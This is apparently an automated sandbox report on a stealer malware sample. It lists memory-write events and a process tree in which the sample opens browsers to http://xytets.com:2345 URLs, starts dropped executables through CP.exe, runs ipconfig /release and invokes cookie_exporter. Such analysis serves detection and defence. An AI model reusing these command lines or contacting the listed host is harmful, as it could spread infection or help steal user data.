PID 2952 wrote to memory of 3700	2952	msedge.exe	93
PID 2952 wrote to memory of 3700	2952	msedge.exe	93
PID 2952 wrote to memory of 132	2952	msedge.exe	94
PID 2952 wrote to memory of 132	2952	msedge.exe	94
PID 2952 wrote to memory of 236	2952	msedge.exe	95
PID 2952 wrote to memory of 236	2952	msedge.exe	95
PID 2952 wrote to memory of 764	2952	msedge.exe	97
PID 2952 wrote to memory of 764	2952	msedge.exe	97
PID 2952 wrote to memory of 440	2952	msedge.exe	98
PID 2952 wrote to memory of 440	2952	msedge.exe	98
PID 2952 wrote to memory of 2888	2952	msedge.exe	99
PID 2952 wrote to memory of 2888	2952	msedge.exe	99
PID 2952 wrote to memory of 2888	2952	msedge.exe	99
PID 2952 wrote to memory of 4476	2952	msedge.exe	101
PID 2952 wrote to memory of 2392	2952	msedge.exe	102
PID 2952 wrote to memory of 4476	2952	msedge.exe	101
PID 2952 wrote to memory of 2392	2952	msedge.exe	102
PID 4640 wrote to memory of 996	4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe	103
PID 2952 wrote to memory of 3280	2952	msedge.exe	106
PID 2952 wrote to memory of 4116	2952	msedge.exe	107
PID 4752 wrote to memory of 3844	4752	rmheztrmez.exe	109
PID 4116 wrote to memory of 3508	4116	msedge.exe	112
PID 2952 wrote to memory of 3108	2952	msedge.exe	113
PID 2952 wrote to memory of 3108	2952	msedge.exe	113
PID 2952 wrote to memory of 224	2952	msedge.exe	114
PID 2952 wrote to memory of 224	2952	msedge.exe	114
PID 2952 wrote to memory of 3848	2952	msedge.exe	115
PID 2952 wrote to memory of 3536	2952	msedge.exe	116
PID 2952 wrote to memory of 3848	2952	msedge.exe	115
PID 2952 wrote to memory of 3536	2952	msedge.exe	116
PID 2952 wrote to memory of 4700	2952	msedge.exe	117
PID 2952 wrote to memory of 4700	2952	msedge.exe	117
PID 4640 wrote to memory of 2716	4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe	118
PID 4640 wrote to memory of 440	4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe	122
PID 896 wrote to memory of 4616	896	tomgebwqom.exe	124
PID 4640 wrote to memory of 1120	4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe	127
PID 4640 wrote to memory of 4660	4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe	131
PID 2248 wrote to memory of 3556	2248	tolgeywqoj.exe	133

C:\Users\Admin\AppData\Local\Temp\2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4640
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home8102
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:4136
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home8102"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2dc,0x2e0,0x2e4,0x2d8,0x364,0x7ff9beb7c188,0x7ff9beb7c194,0x7ff9beb7c1a0
      4⤵
      PID:3116
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1944,i,10523498359044741796,2383393209678247315,524288 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=2044 /prefetch:11
      4⤵
      System Time Discovery
      PID:3828
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1688,i,11888956293544286446,15637591857406569148,262144 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=1900 /prefetch:2
      4⤵
      PID:3268
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2508,i,15615513026319069675,12015938500068832830,524288 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=2512 /prefetch:13
      4⤵
      PID:2616
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3484,i,15908286522959816671,13403525658928925984,2097152 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=3560 /prefetch:1
      4⤵
      PID:496
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3488,i,18188731652221425678,12947521551526522308,2097152 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=3564 /prefetch:1
      4⤵
      PID:3964
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4148,i,8516600651532439189,1893495756627060885,2097152 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=4288 /prefetch:1
      4⤵
      PID:3848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4160,i,9468726056747166221,9002831406633492929,2097152 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=4108 /prefetch:9
      4⤵
      PID:2652
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4176,i,1824812385439985943,1403518934123465923,2097152 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=4404 /prefetch:1
      4⤵
      PID:3700
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4188,i,13516836150423500587,11586562051110962812,2097152 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=4396 /prefetch:9
      4⤵
      PID:132
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=4284,i,4062769262198437965,14305313343971973324,2097152 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=4320 /prefetch:1
      4⤵
      PID:236
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5336,i,17857311189009501433,13035474183676673488,524288 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=4152 /prefetch:14
      4⤵
      PID:764
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3492,i,4512275258406548576,7127656868317016428,524288 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:14
      4⤵
      PID:440
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=5492,i,763708797024451741,10782590252984107836,2097152 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=5524 /prefetch:1
      4⤵
      PID:2888
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3568,i,10863520694024527646,8961739458697662505,524288 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=4240 /prefetch:14
      4⤵
      PID:4476
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5452,i,13742109207477497532,8684014145790734590,524288 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=5864 /prefetch:14
      4⤵
      PID:2392
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6292,i,3449305116133921528,4035785267169073395,524288 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=6308 /prefetch:14
      4⤵
      PID:808
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6292,i,3449305116133921528,4035785267169073395,524288 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=6308 /prefetch:14
      4⤵
      PID:3280
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6388,i,16011981295266204912,13170788389401581490,524288 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=6396 /prefetch:14
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4116
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
        
        cookie_exporter.exe --cookie-json=1132
        5⤵
        
        PID:3508
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6400,i,8707346049006939642,16648262800335433829,524288 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=6496 /prefetch:14
      4⤵
      PID:3108
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6604,i,16525824231742686092,10365813189616749714,524288 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=6616 /prefetch:14
      4⤵
      PID:224
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6620,i,13706526486902742716,1260277710889232512,524288 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=6432 /prefetch:14
      4⤵
      PID:3848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6684,i,8977669692591737753,5934293787628707504,524288 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=6688 /prefetch:14
      4⤵
      PID:3536
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6936,i,13553260211828732500,12018259537896946923,524288 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=6968 /prefetch:14
      4⤵
      PID:4700
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4632,i,1565726555915082716,4125663799609580986,524288 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=4356 /prefetch:14
      4⤵
      PID:3656
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3868,i,1615370223400612338,13645398132103359013,524288 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=6376 /prefetch:14
      4⤵
      PID:664
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4352,i,1904294347995988343,9245627159303147883,524288 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=6472 /prefetch:14
      4⤵
      PID:3208
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3448,i,8045035392559275001,17674313332785264066,524288 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=5612 /prefetch:14
      4⤵
      PID:2356
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6928,i,16523899912248713585,2630118132306964836,262144 --field-trial-handle=1904,i,140768565528900186,10953432059214307204,262144 --variations-seed-version --mojo-platform-channel-handle=6188 /prefetch:10
      4⤵
      PID:1492
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:4028
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/ll/out.txt"
    3⤵
    PID:4916
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\rmheztrmez.exe ups_run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:996
- - C:\Temp\rmheztrmez.exe
    C:\Temp\rmheztrmez.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4752
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3844
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:112
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_rmheztrmez.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2716
- - C:\Temp\i_rmheztrmez.exe
    C:\Temp\i_rmheztrmez.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1928
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\tomgebwqom.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:440
- - C:\Temp\tomgebwqom.exe
    C:\Temp\tomgebwqom.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:896
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4616
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1956
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_tomgebwqom.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:1120
- - C:\Temp\i_tomgebwqom.exe
    C:\Temp\i_tomgebwqom.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3680
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\tolgeywqoj.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4660
- - C:\Temp\tolgeywqoj.exe
    C:\Temp\tolgeywqoj.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2248
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3556
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1688
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_tolgeywqoj.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3548
- - C:\Temp\i_tolgeywqoj.exe
    C:\Temp\i_tolgeywqoj.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4704
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\lfdyvtnlga.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:4512
- - C:\Temp\lfdyvtnlga.exe
    C:\Temp\lfdyvtnlga.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1360
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:900
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:808
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_lfdyvtnlga.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:4404
- - C:\Temp\i_lfdyvtnlga.exe
    C:\Temp\i_lfdyvtnlga.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4724
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\nlfdxvqnig.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1308
- - C:\Temp\nlfdxvqnig.exe
    C:\Temp\nlfdxvqnig.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3980
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2460
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4844
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_nlfdxvqnig.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:3908
- - C:\Temp\i_nlfdxvqnig.exe
    C:\Temp\i_nlfdxvqnig.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1880
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\kfdxvpnhfd.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1292
- - C:\Temp\kfdxvpnhfd.exe
    C:\Temp\kfdxvpnhfd.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:764
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:2244
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4164
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_kfdxvpnhfd.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2000
- - C:\Temp\i_kfdxvpnhfd.exe
    C:\Temp\i_kfdxvpnhfd.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3368
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\zxspkhcaus.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:3680
- - C:\Temp\zxspkhcaus.exe
    C:\Temp\zxspkhcaus.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2316
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:3308
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2468
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_zxspkhcaus.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2300
- - C:\Temp\i_zxspkhcaus.exe
    C:\Temp\i_zxspkhcaus.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1780
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pmhezxrpjh.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:1688
- - C:\Temp\pmhezxrpjh.exe
    C:\Temp\pmhezxrpjh.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1928
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:4844
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4536
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pmhezxrpjh.exe ups_ins
  2⤵
  - Executes dropped EXE
  PID:2648
- - C:\Temp\i_pmhezxrpjh.exe
    C:\Temp\i_pmhezxrpjh.exe ups_ins
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:496
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\upmhfzxrpj.exe ups_run
  2⤵
  - Executes dropped EXE
  PID:868
- - C:\Temp\upmhfzxrpj.exe
    C:\Temp\upmhfzxrpj.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4604
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      Executes dropped EXE
      PID:940
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:3368
